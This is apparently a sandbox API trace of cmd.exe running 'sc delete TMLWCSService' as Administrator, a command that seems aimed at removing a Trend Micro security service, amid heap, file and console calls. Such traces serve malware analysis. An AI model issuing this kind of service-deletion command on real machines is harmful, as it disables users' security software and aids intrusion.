TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.339] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.339] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.339] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.339] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.339] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.339] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.339] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.339] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="MFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.339] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.339] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.339] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.339] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="Lilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.339] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.339] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.340] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.340] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="Wlter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.340] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.340] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.340] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.340] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="Cter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.340] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.340] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.340] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.340] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="Ser\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.340] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.340] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.340] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.340] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="Sr\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.340] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.340] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.340] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.340] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="e\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.340] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.340] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.340] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.341] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="r0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.341] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.341] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.341] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.341] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="v\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.341] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.341] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.341] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.341] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="i\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.341] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.341] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.341] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.341] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="c\n64-9.4\"\n\nA\"\n") returned 1 [0068.341] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.341] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.341] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.341] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="e64-9.4\"\n\nA\"\n") returned 1 [0068.341] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.341] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.341] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.341] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="\n4-9.4\"\n\nA\"\n") returned 1 [0068.342] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.342] GetFileType (hFile=0xb8) returned 0x3 [0068.342] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.342] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.342] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.342] GetFileType (hFile=0x120) returned 0x3 [0068.342] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.342] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TMLWCSService\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TMLWCSService\n", lpUsedDefaultChar=0x0) returned 25 [0068.342] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x18, lpOverlapped=0x0) returned 1 [0068.342] GetProcessHeap () returned 0x1b0000 [0068.342] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1f8630 [0068.342] GetProcessHeap () returned 0x1b0000 [0068.342] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1f8630 | out: hHeap=0x1b0000) returned 1 [0068.342] GetProcessHeap () returned 0x1b0000 [0068.342] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0068.342] GetProcessHeap () returned 0x1b0000 [0068.342] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0068.342] GetProcessHeap () returned 0x1b0000 [0068.342] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3c) returned 0x1caa40 [0068.342] GetConsoleOutputCP () returned 0x1b5 [0068.343] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.343] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.343] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.343] GetProcessHeap () returned 0x1b0000 [0068.343] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0068.343] GetProcessHeap () returned 0x1b0000 [0068.343] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x42) returned 0x1caa90 [0068.343] GetProcessHeap () returned 0x1b0000 [0068.343] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cba10 [0068.343] SetErrorMode (uMode=0x0) returned 0x1 [0068.343] SetErrorMode (uMode=0x1) returned 0x0 [0068.343] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cba20, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0068.343] SetErrorMode (uMode=0x1) returned 0x1 [0068.344] GetProcessHeap () returned 0x1b0000 [0068.344] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba10, Size=0x62) returned 0x1cba10 [0068.344] GetProcessHeap () returned 0x1b0000 [0068.344] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba10) returned 0x62 [0068.344] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.344] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.344] GetProcessHeap () returned 0x1b0000 [0068.344] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0068.344] GetProcessHeap () returned 0x1b0000 [0068.344] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0068.344] GetProcessHeap () returned 0x1b0000 [0068.344] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0068.344] GetProcessHeap () returned 0x1b0000 [0068.344] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0068.344] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.344] GetProcessHeap () returned 0x1b0000 [0068.344] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0068.344] GetProcessHeap () returned 0x1b0000 [0068.344] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0068.344] GetProcessHeap () returned 0x1b0000 [0068.344] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0068.344] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.344] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.345] GetLastError () returned 0x2 [0068.345] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.345] GetLastError () returned 0x2 [0068.345] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.345] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.345] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.345] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.345] GetLastError () returned 0x2 [0068.345] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.346] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.346] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.346] GetProcessHeap () returned 0x1b0000 [0068.346] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0068.346] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.346] GetProcessHeap () returned 0x1b0000 [0068.346] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xa8) returned 0x1c9180 [0068.346] GetProcessHeap () returned 0x1b0000 [0068.346] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xa8 [0068.346] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TMLWCSService") returned 1 [0068.347] GetProcessHeap () returned 0x1b0000 [0068.347] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0068.347] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0068.347] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0068.347] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0068.347] GetProcessHeap () returned 0x1b0000 [0068.347] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0068.347] GetProcessHeap () returned 0x1b0000 [0068.347] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0068.347] GetProcessHeap () returned 0x1b0000 [0068.347] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0068.347] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TMLWCSService", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TMLWCSService", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete TMLWCSService", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x700, dwThreadId=0x640)) returned 1 [0068.351] CloseHandle (hObject=0x54) returned 1 [0068.351] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.351] GetProcessHeap () returned 0x1b0000 [0068.351] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0068.351] GetEnvironmentStringsW () returned 0x1d1b10* [0068.351] GetProcessHeap () returned 0x1b0000 [0068.351] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0068.352] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.352] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0068.352] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0068.352] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0068.401] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0068.401] CloseHandle (hObject=0x50) returned 1 [0068.401] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0068.401] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0068.401] GetProcessHeap () returned 0x1b0000 [0068.401] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0068.401] GetEnvironmentStringsW () returned 0x1d1b10* [0068.402] GetProcessHeap () returned 0x1b0000 [0068.402] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0068.402] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.402] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0068.402] GetProcessHeap () returned 0x1b0000 [0068.402] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0068.402] GetEnvironmentStringsW () returned 0x1d1b10* [0068.402] GetProcessHeap () returned 0x1b0000 [0068.402] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0068.402] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.402] GetProcessHeap () returned 0x1b0000 [0068.402] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0068.402] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0068.402] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0068.403] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.403] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0068.403] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.403] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0068.403] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.403] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0068.403] GetConsoleOutputCP () returned 0x1b5 [0068.404] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.404] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.404] GetProcessHeap () returned 0x1b0000 [0068.404] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0068.404] GetProcessHeap () returned 0x1b0000 [0068.404] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0068.404] GetProcessHeap () returned 0x1b0000 [0068.404] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0068.404] GetProcessHeap () returned 0x1b0000 [0068.404] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.404] GetProcessHeap () returned 0x1b0000 [0068.404] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa90 | out: hHeap=0x1b0000) returned 1 [0068.404] GetProcessHeap () returned 0x1b0000 [0068.404] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0068.404] GetProcessHeap () returned 0x1b0000 [0068.404] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0068.404] GetProcessHeap () returned 0x1b0000 [0068.404] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0068.404] GetProcessHeap () returned 0x1b0000 [0068.404] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0068.404] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0068.404] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.405] GetFileType (hFile=0x120) returned 0x3 [0068.405] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.405] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0068.405] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0068.405] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0068.405] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.405] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.405] 